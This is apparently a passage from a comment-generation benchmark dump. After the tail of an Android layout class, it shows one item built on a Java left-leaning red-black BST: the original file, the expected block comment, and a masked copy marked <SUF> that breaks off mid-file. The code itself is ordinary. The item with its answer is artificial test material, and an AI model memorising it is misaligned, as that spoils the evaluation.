for(int i = 0; i < count; i++) {
View child = getChildAt(i);
TiCompositeLayout.LayoutParams params =
(TiCompositeLayout.LayoutParams) child.getLayoutParams();
params.index = i;
viewSorter.add(child);
}
detachAllViewsFromParent();
int i = 0;
for (View child : viewSorter) {
attachViewToParent(child, i++, child.getLayoutParams());
}
}
needsSort = false;
}
int[] horizontal = new int[2];
int[] vertical = new int[2];
int currentHeight = 0; // Used by vertical arrangement calcs
for (int i = 0; i < count; i++) {
View child = getChildAt(i);
TiCompositeLayout.LayoutParams params =
(TiCompositeLayout.LayoutParams) child.getLayoutParams();
if (child.getVisibility() != View.GONE) {
// Dimension is required from Measure. Positioning is determined here.
int childMeasuredWidth = child.getMeasuredWidth();
int childMeasuredHeight = child.getMeasuredHeight();
if (isHorizontalArrangement()) {
if (i == 0) {
horizontalLayoutCurrentLeft = left;
horizontalLayoutLineHeight = 0;
horizontalLayoutTopBuffer = 0;
}
computeHorizontalLayoutPosition(params, childMeasuredWidth, childMeasuredHeight, right, top, bottom, horizontal, vertical);
} else {
computePosition(this, params.optionLeft, params.optionCenterX, params.optionRight, childMeasuredWidth, left, right, horizontal);
if (isVerticalArrangement()) {
computeVerticalLayoutPosition(currentHeight, params.optionTop, params.optionBottom, childMeasuredHeight, top, bottom, vertical);
} else {
computePosition(this, params.optionTop, params.optionCenterY, params.optionBottom, childMeasuredHeight, top, bottom, vertical);
}
}
if (DBG) {
Log.d(TAG, child.getClass().getName() + " {" + horizontal[0] + "," + vertical[0] + "," + horizontal[1] + "," + vertical[1] + "}");
}
int newWidth = horizontal[1] - horizontal[0];
int newHeight = vertical[1] - vertical[0];
if (newWidth != childMeasuredWidth
|| newHeight != childMeasuredHeight) {
int newWidthSpec = MeasureSpec.makeMeasureSpec(newWidth, MeasureSpec.EXACTLY);
int newHeightSpec = MeasureSpec.makeMeasureSpec(newHeight, MeasureSpec.EXACTLY);
child.measure(newWidthSpec, newHeightSpec);
}
child.layout(horizontal[0], vertical[0], horizontal[1], vertical[1]);
currentHeight += newHeight;
if (params.optionTop != null) {
currentHeight += params.optionTop.getAsPixels(this);
}
}
}
}
// 0 is left/top, 1 is right/bottom
public static void computePosition(View parent, TiDimension option0, TiDimension optionCenter, TiDimension option1,
int measuredSize, int layoutPosition0, int layoutPosition1, int[] pos)
{
int dist = layoutPosition1 - layoutPosition0;
if (optionCenter != null) {
int halfSize= measuredSize/2;
pos[0] = layoutPosition0 + optionCenter.getAsPixels(parent) - halfSize;
pos[1] = pos[0] + measuredSize;
} else if (option0 == null && option1 == null) {
// Center
int offset = (dist-measuredSize)/2;
pos[0] = layoutPosition0 + offset;
pos[1] = pos[0] + measuredSize;
} else if (option0 == null) {
// peg right/bottom
int option1Pixels = option1.getAsPixels(parent);
pos[0] = dist - option1Pixels - measuredSize;
pos[1] = dist - option1Pixels;
} else if (option1 == null) {
// peg left/top
int option0Pixels = option0.getAsPixels(parent);
pos[0] = layoutPosition0 + option0Pixels;
pos[1] = layoutPosition0 + option0Pixels + measuredSize;
} else {
// pegged both. override and force.
pos[0] = layoutPosition0 + option0.getAsPixels(parent);
pos[1] = layoutPosition1 - option1.getAsPixels(parent);
}
}
private void computeVerticalLayoutPosition(int currentHeight,
TiDimension optionTop, TiDimension optionBottom, int measuredHeight, int layoutTop, int layoutBottom, int[] pos)
{
int top = layoutTop + currentHeight;
if (optionTop != null) {
top += optionTop.getAsPixels(this);
}
int bottom = top + measuredHeight;
pos[0] = top;
pos[1] = bottom;
}
private void computeHorizontalLayoutPosition(TiCompositeLayout.LayoutParams params, int measuredWidth, int measuredHeight, int layoutRight, int layoutTop, int layoutBottom, int[] hpos, int[] vpos)
{
TiDimension optionLeft = params.optionLeft;
int left = horizontalLayoutCurrentLeft;
if (optionLeft != null) {
left += optionLeft.getAsPixels(this);
}
int right = left + measuredWidth;
if (right > layoutRight && !disableHorizontalWrap) {
// Too long for the current "line" that it's on. Need to move it down.
left = 0;
right = measuredWidth;
horizontalLayoutTopBuffer = horizontalLayoutTopBuffer + horizontalLayoutLineHeight;
horizontalLayoutLineHeight = 0;
}
hpos[0] = left;
hpos[1] = right;
horizontalLayoutCurrentLeft = right;
// Get vertical position into vpos
computePosition(this, params.optionTop, params.optionCenterY, params.optionBottom, measuredHeight, layoutTop, layoutBottom, vpos);
horizontalLayoutLineHeight = Math.max(horizontalLayoutLineHeight, vpos[1] - vpos[0]);
// account for moving the item "down" to later line(s) if there has been wrapping.
vpos[0] = vpos[0] + horizontalLayoutTopBuffer;
vpos[1] = vpos[1] + horizontalLayoutTopBuffer;
}
protected int getWidthMeasureSpec(View child) {
return MeasureSpec.EXACTLY;
}
protected int getHeightMeasureSpec(View child) {
return MeasureSpec.EXACTLY;
}
public static class LayoutParams extends ViewGroup.LayoutParams {
protected int index;
public int optionZIndex = NOT_SET;
public TiDimension optionLeft = null;
public TiDimension optionTop = null;
public TiDimension optionCenterX = null;
public TiDimension optionCenterY = null;
public TiDimension optionRight = null;
public TiDimension optionBottom = null;
public TiDimension optionWidth = null;
public TiDimension optionHeight = null;
public Ti2DMatrix optionTransform = null;
public boolean autoHeight = true;
public boolean autoWidth = true;
public boolean autoFillsWidth = false;
public boolean autoFillsHeight = false;
public LayoutParams() {
super(WRAP_CONTENT, WRAP_CONTENT);
index = Integer.MIN_VALUE;
}
}
protected boolean isVerticalArrangement()
{
return (arrangement == LayoutArrangement.VERTICAL);
}
protected boolean isHorizontalArrangement()
{
return (arrangement == LayoutArrangement.HORIZONTAL);
}
protected boolean isDefaultArrangement()
{
return (arrangement == LayoutArrangement.DEFAULT);
}
public void setLayoutArrangement(String arrangementProperty)
{
if (arrangementProperty != null && arrangementProperty.equals(TiC.LAYOUT_HORIZONTAL)) {
arrangement = LayoutArrangement.HORIZONTAL;
} else if (arrangementProperty != null && arrangementProperty.equals(TiC.LAYOUT_VERTICAL)) {
arrangement = LayoutArrangement.VERTICAL;
} else {
arrangement = LayoutArrangement.DEFAULT;
}
}
public void setDisableHorizontalWrap(boolean disable)
{
disableHorizontalWrap = disable;
}
}
|
206782_6 | import java.util.NoSuchElementException;
/**
* The {@code BST} class represents an ordered symbol table of generic
* key-value pairs.
* It supports the usual put, get, contains,
* delete, size, and is-empty methods.
* It also provides ordered methods for finding the minimum,
* maximum, floor, and ceiling.
* It also provides a keys method for iterating over all of the keys.
* A symbol table implements the associative array abstraction:
* when associating a value with a key that is already in the symbol table,
* the convention is to replace the old value with the new value.
* Unlike {@link java.util.Map}, this class uses the convention that
* values cannot be {@code null}—setting the
* value associated with a key to {@code null} is equivalent to deleting the key
* from the symbol table.
* This implementation uses a left-leaning red-black BST. It requires that
* the key type implements the {@code Comparable} interface and calls the
* {@code compareTo()} and method to compare two keys. It does not call either
* {@code equals()} or {@code hashCode()}.
* The put, contains, remove, minimum,
* maximum, ceiling, and floor operations each take
* logarithmic time in the worst case, if the tree becomes unbalanced.
* The size, and is-empty operations take constant time.
* Construction takes constant time.
* For other implementations of the same API, see {@link ST}, {@link BinarySearchST},
* {@link SequentialSearchST}, {@link BST},
* {@link SeparateChainingHashST}, {@link LinearProbingHashST}, and {@link AVLTreeST}.
* @author Robert Sedgewick
* @author Kevin Wayne
*/
public class RedBlackBST<Key extends Comparable<Key>, Value> {
private static final boolean RED = true;
private static final boolean BLACK = false;
private Node root; // root of the BST
// BST helper node data type
private class Node {
private Key key; // key
private Value val; // associated data
private Node left, right; // links to left and right subtrees
private boolean color; // color of parent link
private int size; // subtree count
public Node(Key key, Value val, boolean color, int size) {
this.key = key;
this.val = val;
this.color = color;
this.size = size;
}
}
/**
* Initializes an empty symbol table.
*/
public RedBlackBST() {
}
/***************************************************************************
* Node helper methods.
***************************************************************************/
// is node x red; false if x is null ?
private boolean isRed(Node x) {
if (x == null) return false;
return x.color == RED;
}
// number of node in subtree rooted at x; 0 if x is null
private int size(Node x) {
if (x == null) return 0;
return x.size;
}
/**
* Returns the number of key-value pairs in this symbol table.
* @return the number of key-value pairs in this symbol table
*/
public int size() {
return size(root);
}
/**
* Is this symbol table empty?
* @return {@code true} if this symbol table is empty and {@code false} otherwise
*/
public boolean isEmpty() {
return root == null;
}
/***************************************************************************
* Standard BST search.
***************************************************************************/
/**
* Returns the value associated with the given key.
* @param key the key
* @return the value associated with the given key if the key is in the symbol table
* and {@code null} if the key is not in the symbol table
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Value get(Key key) {
if (key == null) throw new IllegalArgumentException("argument to get() is null");
return get(root, key);
}
// value associated with the given key in subtree rooted at x; null if no such key
private Value get(Node x, Key key) {
while (x != null) {
int cmp = key.compareTo(x.key);
if (cmp < 0) x = x.left;
else if (cmp > 0) x = x.right;
else return x.val;
}
return null;
}
/**
* Does this symbol table contain the given key?
* @param key the key
* @return {@code true} if this symbol table contains {@code key} and
* {@code false} otherwise
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public boolean contains(Key key) {
return get(key) != null;
}
/***************************************************************************
* Red-black tree insertion.
***************************************************************************/
/**
* Inserts the specified key-value pair into the symbol table, overwriting the old
* value with the new value if the symbol table already contains the specified key.
* Deletes the specified key (and its associated value) from this symbol table
* if the specified value is {@code null}.
*
* @param key the key
* @param val the value
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
//<Crucial
public void put(Key key, Value val) {
if (key == null) throw new IllegalArgumentException("first argument to put() is null");
if (val == null) {
delete(key);
return;
}
root = put(root, key, val);
root.color = BLACK;
// assert check();
}
// insert the key-value pair in the subtree rooted at h
private Node put(Node h, Key key, Value val) {
if (h == null) return new Node(key, val, RED, 1);
int cmp = key.compareTo(h.key);
if (cmp < 0) h.left = put(h.left, key, val);
else if (cmp > 0) h.right = put(h.right, key, val);
else h.val = val;
// fix-up any right-leaning links
if (isRed(h.right) && !isRed(h.left)) h = rotateLeft(h);
if (isRed(h.left) && isRed(h.left.left)) h = rotateRight(h);
if (isRed(h.left) && isRed(h.right)) flipColors(h);
h.size = size(h.left) + size(h.right) + 1;
return h;
}
// /Crucial>
/***************************************************************************
* Red-black tree deletion.
***************************************************************************/
/**
* Removes the smallest key and associated value from the symbol table.
* @throws NoSuchElementException if the symbol table is empty
*/
public void deleteMin() {
if (isEmpty()) throw new NoSuchElementException("BST underflow");
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = deleteMin(root);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the minimum key rooted at h
private Node deleteMin(Node h) {
if (h.left == null)//no key is less than h, h is min.
return null;
if (!isRed(h.left) && !isRed(h.left.left))
h = moveRedLeft(h);
h.left = deleteMin(h.left);
return balance(h);
}
/**
* Removes the largest key and associated value from the symbol table.
* @throws NoSuchElementException if the symbol table is empty
*/
public void deleteMax() {
if (isEmpty()) throw new NoSuchElementException("BST underflow");
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = deleteMax(root);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the maximum key rooted at h
private Node deleteMax(Node h) {
if (isRed(h.left))
h = rotateRight(h);
if (h.right == null)
return null;
if (!isRed(h.right) && !isRed(h.right.left))
h = moveRedRight(h);
h.right = deleteMax(h.right);
return balance(h);
}
/**
* Removes the specified key and its associated value from this symbol table
* (if the key is in this symbol table).
*
* @param key the key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public void delete(Key key) {
if (key == null) throw new IllegalArgumentException("argument to delete() is null");
if (!contains(key)) return;
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = delete(root, key);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the given key rooted at h
private Node delete(Node h, Key key) {
// assert get(h, key) != null;
if (key.compareTo(h.key) < 0) {
if (!isRed(h.left) && !isRed(h.left.left))
h = moveRedLeft(h);
h.left = delete(h.left, key);
}
else {
if (isRed(h.left))
h = rotateRight(h);
if (key.compareTo(h.key) == 0 && (h.right == null))
return null;
if (!isRed(h.right) && !isRed(h.right.left))
h = moveRedRight(h);
if (key.compareTo(h.key) == 0) {
Node x = min(h.right);
h.key = x.key;
h.val = x.val;
// h.val = get(h.right, min(h.right).key);
// h.key = min(h.right).key;
h.right = deleteMin(h.right);
}
else h.right = delete(h.right, key);
}
return balance(h);
}
/***************************************************************************
* Red-black tree helper functions.
***************************************************************************/
// make a left-leaning link lean to the right
private Node rotateRight(Node h) {
// assert (h != null) && isRed(h.left);
Node x = h.left;
h.left = x.right;
x.right = h;
x.color = x.right.color;
x.right.color = RED;
x.size = h.size;
h.size = size(h.left) + size(h.right) + 1;
return x;
}
// make a right-leaning link lean to the left
private Node rotateLeft(Node h) {
// assert (h != null) && isRed(h.right);
Node x = h.right;
h.right = x.left;
x.left = h;
x.color = x.left.color;
x.left.color = RED;
x.size = h.size;
h.size = size(h.left) + size(h.right) + 1;
return x;
}
// flip the colors of a node and its two children
private void flipColors(Node h) {
// h must have opposite color of its two children
// assert (h != null) && (h.left != null) && (h.right != null);
// assert (!isRed(h) && isRed(h.left) && isRed(h.right))
// || (isRed(h) && !isRed(h.left) && !isRed(h.right));
h.color = !h.color;
h.left.color = !h.left.color;
h.right.color = !h.right.color;
}
// Assuming that h is red and both h.left and h.left.left
// are black, make h.left or one of its children red.
private Node moveRedLeft(Node h) {
// assert (h != null);
// assert isRed(h) && !isRed(h.left) && !isRed(h.left.left);
flipColors(h);
if (isRed(h.right.left)) {
h.right = rotateRight(h.right);
h = rotateLeft(h);
flipColors(h);
}
return h;
}
// Assuming that h is red and both h.right and h.right.left
// are black, make h.right or one of its children red.
private Node moveRedRight(Node h) {
// assert (h != null);
// assert isRed(h) && !isRed(h.right) && !isRed(h.right.left);
flipColors(h);
if (isRed(h.left.left)) {
h = rotateRight(h);
flipColors(h);
}
return h;
}
// restore red-black tree invariant
private Node balance(Node h) {
// assert (h != null);
if (isRed(h.right)) h = rotateLeft(h);
if (isRed(h.left) && isRed(h.left.left)) h = rotateRight(h);
if (isRed(h.left) && isRed(h.right)) flipColors(h);
h.size = size(h.left) + size(h.right) + 1;
return h;
}
/***************************************************************************
* Utility functions.
***************************************************************************/
/**
* Returns the height of the BST (for debugging).
* @return the height of the BST (a 1-node tree has height 0)
*/
public int height() {
return height(root);
}
private int height(Node x) {
if (x == null) return -1;
return 1 + Math.max(height(x.left), height(x.right));
}
/***************************************************************************
* Ordered symbol table methods.
***************************************************************************/
/**
* Returns the smallest key in the symbol table.
* @return the smallest key in the symbol table
* @throws NoSuchElementException if the symbol table is empty
*/
public Key min() {
if (isEmpty()) throw new NoSuchElementException("called min() with empty symbol table");
return min(root).key;
}
// the smallest key in subtree rooted at x; null if no such key
private Node min(Node x) {
// assert x != null;
if (x.left == null) return x;
else return min(x.left);
}
/**
* Returns the largest key in the symbol table.
* @return the largest key in the symbol table
* @throws NoSuchElementException if the symbol table is empty
*/
public Key max() {
if (isEmpty()) throw new NoSuchElementException("called max() with empty symbol table");
return max(root).key;
}
// the largest key in the subtree rooted at x; null if no such key
private Node max(Node x) {
// assert x != null;
if (x.right == null) return x;
else return max(x.right);
}
/**
* Returns the largest key in the symbol table less than or equal to {@code key}.
* @param key the key
* @return the largest key in the symbol table less than or equal to {@code key}
* @throws NoSuchElementException if there is no such key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Key floor(Key key) {
if (key == null) throw new IllegalArgumentException("argument to floor() is null");
if (isEmpty()) throw new NoSuchElementException("called floor() with empty symbol table");
Node x = floor(root, key);
if (x == null) return null;
else return x.key;
}
// the largest key in the subtree rooted at x less than or equal to the given key
private Node floor(Node x, Key key) {
if (x == null) return null;
int cmp = key.compareTo(x.key);
if (cmp == 0) return x;
if (cmp < 0) return floor(x.left, key);
Node t = floor(x.right, key);
if (t != null) return t;
else return x;
}
/**
* Returns the smallest key in the symbol table greater than or equal to {@code key}.
* @param key the key
* @return the smallest key in the symbol table greater than or equal to {@code key}
* @throws NoSuchElementException if there is no such key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Key ceiling(Key key) {
if (key == null) throw new IllegalArgumentException("argument to ceiling() is null");
if (isEmpty()) throw new NoSuchElementException("called ceiling() with empty symbol table");
Node x = ceiling(root, key);
if (x == null) return null;
else return x.key;
}
// the smallest key in the subtree rooted at x greater than or equal to the given key
private Node ceiling(Node x, Key key) {
if (x == null) return null;
int cmp = key.compareTo(x.key);
if (cmp == 0) return x;
if (cmp > 0) return ceiling(x.right, key);
Node t = ceiling(x.left, key);
if (t != null) return t;
else return x;
}
/**
* Return the kth smallest key in the symbol table.
* @param k the order statistic
* @return the {@code k}th smallest key in the symbol table
* @throws IllegalArgumentException unless {@code k} is between 0 and
* n–1
*/
public Key select(int k) {
if (k < 0 || k >= size()) {
throw new IllegalArgumentException("called select() with invalid argument: " + k);
}
Node x = select(root, k);
return x.key;
}
// the key of rank k in the subtree rooted at x
private Node select(Node x, int k) {
// assert x != null;
// assert k >= 0 && k < size(x);
int t = size(x.left);
if (t > k) return select(x.left, k);
else if (t < k) return select(x.right, k-t-1);
else return x;
}
/**
* Return the number of keys in the symbol table strictly less than {@code key}.
* @param key the key
* @return the number of keys in the symbol table strictly less than {@code key}
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public int rank(Key key) {
if (key == null) throw new IllegalArgumentException("argument to rank() is null");
return rank(key, root);
}
// number of keys less than key in the subtree rooted at x
private int rank(Key key, Node x) {
if (x == null) return 0;
int cmp = key.compareTo(x.key);
if (cmp < 0) return rank(key, x.left);
else if (cmp > 0) return 1 + size(x.left) + rank(key, x.right);
else return size(x.left);
}
/***************************************************************************
* Range count and range search.
***************************************************************************/
/**
* Returns all keys in the symbol table as an {@code Iterable}.
* To iterate over all of the keys in the symbol table named {@code st},
* use the foreach notation: {@code for (Key key : st.keys())}.
* @return all keys in the symbol table as an {@code Iterable}
*/
public Iterable<Key> keys() {
if (isEmpty()) return new Queue<Key>();
return keys(min(), max());
}
/**
* Returns all keys in the symbol table in the given range,
* as an {@code Iterable}.
*
* @param lo minimum endpoint
* @param hi maximum endpoint
* @return all keys in the sybol table between {@code lo}
* (inclusive) and {@code hi} (inclusive) as an {@code Iterable}
* @throws IllegalArgumentException if either {@code lo} or {@code hi}
* is {@code null}
*/
public Iterable<Key> keys(Key lo, Key hi) {
if (lo == null) throw new IllegalArgumentException("first argument to keys() is null");
if (hi == null) throw new IllegalArgumentException("second argument to keys() is null");
Queue<Key> queue = new Queue<Key>();
// if (isEmpty() || lo.compareTo(hi) > 0) return queue;
keys(root, queue, lo, hi);
return queue;
}
// add the keys between lo and hi in the subtree rooted at x
// to the queue
private void keys(Node x, Queue<Key> queue, Key lo, Key hi) {
if (x == null) return;
int cmplo = lo.compareTo(x.key);
int cmphi = hi.compareTo(x.key);
if (cmplo < 0) keys(x.left, queue, lo, hi);
if (cmplo <= 0 && cmphi >= 0) queue.enqueue(x.key);
if (cmphi > 0) keys(x.right, queue, lo, hi);
}
/**
* Returns the number of keys in the symbol table in the given range.
*
* @param lo minimum endpoint
* @param hi maximum endpoint
* @return the number of keys in the sybol table between {@code lo}
* (inclusive) and {@code hi} (inclusive)
* @throws IllegalArgumentException if either {@code lo} or {@code hi}
* is {@code null}
*/
public int size(Key lo, Key hi) {
if (lo == null) throw new IllegalArgumentException("first argument to size() is null");
if (hi == null) throw new IllegalArgumentException("second argument to size() is null");
if (lo.compareTo(hi) > 0) return 0;
if (contains(hi)) return rank(hi) - rank(lo) + 1;
else return rank(hi) - rank(lo);
}
/***************************************************************************
* Check integrity of red-black tree data structure.
***************************************************************************/
private boolean check() {
if (!isBST()) StdOut.println("Not in symmetric order");
if (!isSizeConsistent()) StdOut.println("Subtree counts not consistent");
if (!isRankConsistent()) StdOut.println("Ranks not consistent");
if (!is23()) StdOut.println("Not a 2-3 tree");
if (!isBalanced()) StdOut.println("Not balanced");
return isBST() && isSizeConsistent() && isRankConsistent() && is23() && isBalanced();
}
// does this binary tree satisfy symmetric order?
// Note: this test also ensures that data structure is a binary tree since order is strict
private boolean isBST() {
return isBST(root, null, null);
}
// is the tree rooted at x a BST with all keys strictly between min and max
// (if min or max is null, treat as empty constraint)
// Credit: Bob Dondero's elegant solution
private boolean isBST(Node x, Key min, Key max) {
if (x == null) return true;
if (min != null && x.key.compareTo(min) <= 0) return false;
if (max != null && x.key.compareTo(max) >= 0) return false;
return isBST(x.left, min, x.key) && isBST(x.right, x.key, max);
}
// are the size fields correct?
private boolean isSizeConsistent() { return isSizeConsistent(root); }
private boolean isSizeConsistent(Node x) {
if (x == null) return true;
if (x.size != size(x.left) + size(x.right) + 1) return false;
return isSizeConsistent(x.left) && isSizeConsistent(x.right);
}
// check that ranks are consistent
private boolean isRankConsistent() {
for (int i = 0; i < size(); i++)
if (i != rank(select(i))) return false;
for (Key key : keys())
if (key.compareTo(select(rank(key))) != 0) return false;
return true;
}
// Does the tree have no red right links, and at most one (left)
// red links in a row on any path?
private boolean is23() { return is23(root); }
private boolean is23(Node x) {
if (x == null) return true;
if (isRed(x.right)) return false;
if (x != root && isRed(x) && isRed(x.left))
return false;
return is23(x.left) && is23(x.right);
}
// do all paths from root to leaf have same number of black edges?
private boolean isBalanced() {
int black = 0; // number of black links on path from root to min
Node x = root;
while (x != null) {
if (!isRed(x)) black++;
x = x.left;
}
return isBalanced(root, black);
}
// does every path from the root to a leaf have the given number of black links?
private boolean isBalanced(Node x, int black) {
if (x == null) return black == 0;
if (!isRed(x)) black--;
return isBalanced(x.left, black) && isBalanced(x.right, black);
}
/**
* Unit tests the {@code RedBlackBST} data type.
*
* @param args the command-line arguments
*/
public static void main(String[] args) {
RedBlackBST<String, Integer> st = new RedBlackBST<String, Integer>();
for (int i = 0; !StdIn.isEmpty(); i++) {
String key = StdIn.readString();
st.put(key, i);
}
for (String s : st.keys())
StdOut.println(s + " " + st.get(s));
StdOut.println();
}
}
| mxc19912008/Key-Algorithms | Chapter 3 查找 Searching/3.4 red-black tree.java | 7,128 | /***************************************************************************
* Node helper methods.
***************************************************************************/ | block_comment | nl | import java.util.NoSuchElementException;
/**
* The {@code BST} class represents an ordered symbol table of generic
* key-value pairs.
* It supports the usual put, get, contains,
* delete, size, and is-empty methods.
* It also provides ordered methods for finding the minimum,
* maximum, floor, and ceiling.
* It also provides a keys method for iterating over all of the keys.
* A symbol table implements the associative array abstraction:
* when associating a value with a key that is already in the symbol table,
* the convention is to replace the old value with the new value.
* Unlike {@link java.util.Map}, this class uses the convention that
* values cannot be {@code null}—setting the
* value associated with a key to {@code null} is equivalent to deleting the key
* from the symbol table.
* This implementation uses a left-leaning red-black BST. It requires that
* the key type implements the {@code Comparable} interface and calls the
* {@code compareTo()} and method to compare two keys. It does not call either
* {@code equals()} or {@code hashCode()}.
* The put, contains, remove, minimum,
* maximum, ceiling, and floor operations each take
* logarithmic time in the worst case, if the tree becomes unbalanced.
* The size, and is-empty operations take constant time.
* Construction takes constant time.
* For other implementations of the same API, see {@link ST}, {@link BinarySearchST},
* {@link SequentialSearchST}, {@link BST},
* {@link SeparateChainingHashST}, {@link LinearProbingHashST}, and {@link AVLTreeST}.
* @author Robert Sedgewick
* @author Kevin Wayne
*/
public class RedBlackBST<Key extends Comparable<Key>, Value> {
private static final boolean RED = true;
private static final boolean BLACK = false;
private Node root; // root of the BST
// BST helper node data type
private class Node {
private Key key; // key
private Value val; // associated data
private Node left, right; // links to left and right subtrees
private boolean color; // color of parent link
private int size; // subtree count
public Node(Key key, Value val, boolean color, int size) {
this.key = key;
this.val = val;
this.color = color;
this.size = size;
}
}
/**
* Initializes an empty symbol table.
*/
public RedBlackBST() {
}
/***************************************************************************
* Node helper methods.<SUF>*/
// is node x red; false if x is null ?
private boolean isRed(Node x) {
if (x == null) return false;
return x.color == RED;
}
// number of node in subtree rooted at x; 0 if x is null
private int size(Node x) {
if (x == null) return 0;
return x.size;
}
/**
* Returns the number of key-value pairs in this symbol table.
* @return the number of key-value pairs in this symbol table
*/
public int size() {
return size(root);
}
/**
* Is this symbol table empty?
* @return {@code true} if this symbol table is empty and {@code false} otherwise
*/
public boolean isEmpty() {
return root == null;
}
/***************************************************************************
* Standard BST search.
***************************************************************************/
/**
* Returns the value associated with the given key.
* @param key the key
* @return the value associated with the given key if the key is in the symbol table
* and {@code null} if the key is not in the symbol table
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public Value get(Key key) {
if (key == null) throw new IllegalArgumentException("argument to get() is null");
return get(root, key);
}
// value associated with the given key in subtree rooted at x; null if no such key
private Value get(Node x, Key key) {
while (x != null) {
int cmp = key.compareTo(x.key);
if (cmp < 0) x = x.left;
else if (cmp > 0) x = x.right;
else return x.val;
}
return null;
}
/**
* Does this symbol table contain the given key?
* @param key the key
* @return {@code true} if this symbol table contains {@code key} and
* {@code false} otherwise
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public boolean contains(Key key) {
return get(key) != null;
}
/***************************************************************************
* Red-black tree insertion.
***************************************************************************/
/**
* Inserts the specified key-value pair into the symbol table, overwriting the old
* value with the new value if the symbol table already contains the specified key.
* Deletes the specified key (and its associated value) from this symbol table
* if the specified value is {@code null}.
*
* @param key the key
* @param val the value
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
//<Crucial
public void put(Key key, Value val) {
if (key == null) throw new IllegalArgumentException("first argument to put() is null");
if (val == null) {
delete(key);
return;
}
root = put(root, key, val);
root.color = BLACK;
// assert check();
}
// insert the key-value pair in the subtree rooted at h
private Node put(Node h, Key key, Value val) {
if (h == null) return new Node(key, val, RED, 1);
int cmp = key.compareTo(h.key);
if (cmp < 0) h.left = put(h.left, key, val);
else if (cmp > 0) h.right = put(h.right, key, val);
else h.val = val;
// fix-up any right-leaning links
if (isRed(h.right) && !isRed(h.left)) h = rotateLeft(h);
if (isRed(h.left) && isRed(h.left.left)) h = rotateRight(h);
if (isRed(h.left) && isRed(h.right)) flipColors(h);
h.size = size(h.left) + size(h.right) + 1;
return h;
}
// /Crucial>
/***************************************************************************
* Red-black tree deletion.
***************************************************************************/
/**
* Removes the smallest key and associated value from the symbol table.
* @throws NoSuchElementException if the symbol table is empty
*/
public void deleteMin() {
if (isEmpty()) throw new NoSuchElementException("BST underflow");
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = deleteMin(root);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the minimum key rooted at h
private Node deleteMin(Node h) {
if (h.left == null)//no key is less than h, h is min.
return null;
if (!isRed(h.left) && !isRed(h.left.left))
h = moveRedLeft(h);
h.left = deleteMin(h.left);
return balance(h);
}
/**
* Removes the largest key and associated value from the symbol table.
* @throws NoSuchElementException if the symbol table is empty
*/
public void deleteMax() {
if (isEmpty()) throw new NoSuchElementException("BST underflow");
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = deleteMax(root);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the maximum key rooted at h
private Node deleteMax(Node h) {
if (isRed(h.left))
h = rotateRight(h);
if (h.right == null)
return null;
if (!isRed(h.right) && !isRed(h.right.left))
h = moveRedRight(h);
h.right = deleteMax(h.right);
return balance(h);
}
/**
* Removes the specified key and its associated value from this symbol table
* (if the key is in this symbol table).
*
* @param key the key
* @throws IllegalArgumentException if {@code key} is {@code null}
*/
public void delete(Key key) {
if (key == null) throw new IllegalArgumentException("argument to delete() is null");
if (!contains(key)) return;
// if both children of root are black, set root to red
if (!isRed(root.left) && !isRed(root.right))
root.color = RED;
root = delete(root, key);
if (!isEmpty()) root.color = BLACK;
// assert check();
}
// delete the key-value pair with the given key rooted at h
private Node delete(Node h, Key key) {
// assert get(h, key) != null;
if (key.compareTo(h.key) < 0) {
if (!isRed(h.left) && !isRed(h.left.left))
h = moveRedLeft(h);
h.left = delete(h.left, key);
}
else {
if (isRed(h.left))
h = rotateRight(h);
if (key.compareTo(h.key) == 0 && (h.right == null))
return null;
if (!isRed(h.right) && !isRed(h.right.left))
h = moveRedRight(h);
if (key.compareTo(h.key) == 0) {
Node x = min(h.right);
h.key = x.key;
h.val = x.val;
// h.val = get(h.right, min(h.right).key);
// h.key = min(h.right).key;
h.right = deleteMin(h.right);
}
else h.right = delete(h.right, key);
}
return balance(h);
}
/***************************************************************************
* Red-black tree helper functions.
***************************************************************************/
// make a left-leaning link lean to the right
private Node rotateRight(Node h) {
// assert (h != null) && isRed(h.left);
Node x = h.left;
h.left = x.right;
x.right = h;
x.color = x.right.color;
x.right.color = RED;
x.size = h.size;
h.size = size(h.left) + size(h.right) + 1;
return x;
}
// make a right-leaning link lean to the left
private Node rotateLeft(Node h) {
// assert (h != null) && isRed(h.right);
Node x = h.right;
h.right = x.left;
x.left = h;
x.color = x.left.color;
x.left.color = RED;
x.size = h.size;
h.size = size(h.left) + size(h.right) + 1;
return x;
}
// flip the colors of a node and its two children
private void flipColors(Node h) {
// h must have opposite color of its two children
// assert (h != null) && (h.left != null) && (h.right != null);
// assert (!isRed(h) && isRed(h.left) && isRed(h.right))
// || (isRed(h) && !isRed(h.left) && !isRed(h.right));
h.color = !h.color;
h.left.color = !h.left.color;
h.right.color = !h.right.color;
}
// Assuming that h is red and both h.left and h.left.left
// are black, make h.left or one of its children red.
private Node moveRedLeft(Node h) {
// assert (h != null);
// assert isRed(h) && !isRed(h.left) && !isRed(h.left.left);
flipColors(h);
if (isRed(h.right.left)) {
h.right = rotateRight(h.right);
h = rotateLeft(h);
flipColors(h);
}
return h;
}
// Assuming that h is red and both h.right and h.right.left
// are black, make h.right or one of its children red.
private Node moveRedRight(Node h) {
// assert (h != null);
// assert isRed(h) && !isRed(h.right) && !isRed(h.right.left);
flipColors(h);
